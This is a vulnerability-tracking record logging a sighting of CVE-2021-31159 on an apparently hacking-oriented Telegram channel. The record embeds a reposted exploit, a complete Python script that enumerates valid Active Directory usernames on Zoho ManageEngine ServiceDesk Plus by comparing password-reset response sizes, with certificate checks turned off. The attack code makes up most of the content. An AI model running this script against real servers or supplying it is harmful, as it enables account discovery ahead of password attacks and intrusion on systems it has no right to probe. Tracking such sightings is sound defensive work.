{"uuid": "9d12d7dc-3658-4bbf-ad87-17a4af8d593b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-31159", "type": "seen", "source": "https://t.me/hacking_Attack/13262", "content": "Exploit Collector\nZoho ManageEngine ServiceDesk Plus 9.4 User Enumeration\n\nhttps://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png \nZoho ManageEngine ServiceDesk Plus version 9.4 suffers from a user enumeration vulnerability.\n\nMD5 | 55c56b21ed33b96bade44b3319c1fcd0\n\nDownload\n# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)\n# Date: 17/06/2021\n# Exploit Author: Ricardo Ruiz (@ricardojoserf)\n# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)\n# Vendor Homepage: https://www.manageengine.com\n# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519\n# Version: Previous to build 10519\n# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4\n# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]\n# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159\n\nimport argparse\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\ndef get_args():\nparser = argparse.ArgumentParser()\nparser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')\nparser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')\nparser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file') \nparser.add_argument('-o', '--outputfile', required=False, default=\"listed_users.txt\", action='store', help='Output file')\nmy_args = parser.parse_args()\nreturn my_args\ndef main():\nargs = get_args()\nurl = args.target\ndomain = args.domain\nusersfile = args.usersfile\noutputfile = args.outputfile\n\ns = requests.session()\ns.get(url)\nresp_incorrect = s.get(url+\"/ForgotPassword.sd?userName=\"+\"nonexistentuserforsure\"+\"&dname=\"+domain, verify = False)\nincorrect_size = len(resp_incorrect.content)\nprint(\"Incorrect size: %s\"%(incorrect_size))\n\ncorrect_users = []\nusers = open(usersfile).read().splitlines()\nfor u in users:\nresp = s.get(url+\"/ForgotPassword.sd?userName=\"+u+\"&dname=\"+domain, verify = False) \nvalid = (len(resp.content) != incorrect_size)\nif valid:\ncorrect_users.append(u)\nprint(\"User: %s Response size: %s (correct: %s)\"%(u, len(resp.content),str(valid)))\n\nprint(\"\\nCorrect users\\n\")\nwith open(outputfile, 'w') as f:\nfor user in correct_users:\nf.write(\"%s\\n\" % user)\nprint(\"- %s\"%(user))\n\nprint(\"\\nResults stored in %s\\n\"%(outputfile))\nif __name__ == \"__main__\":\nmain()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:12.412534Z"}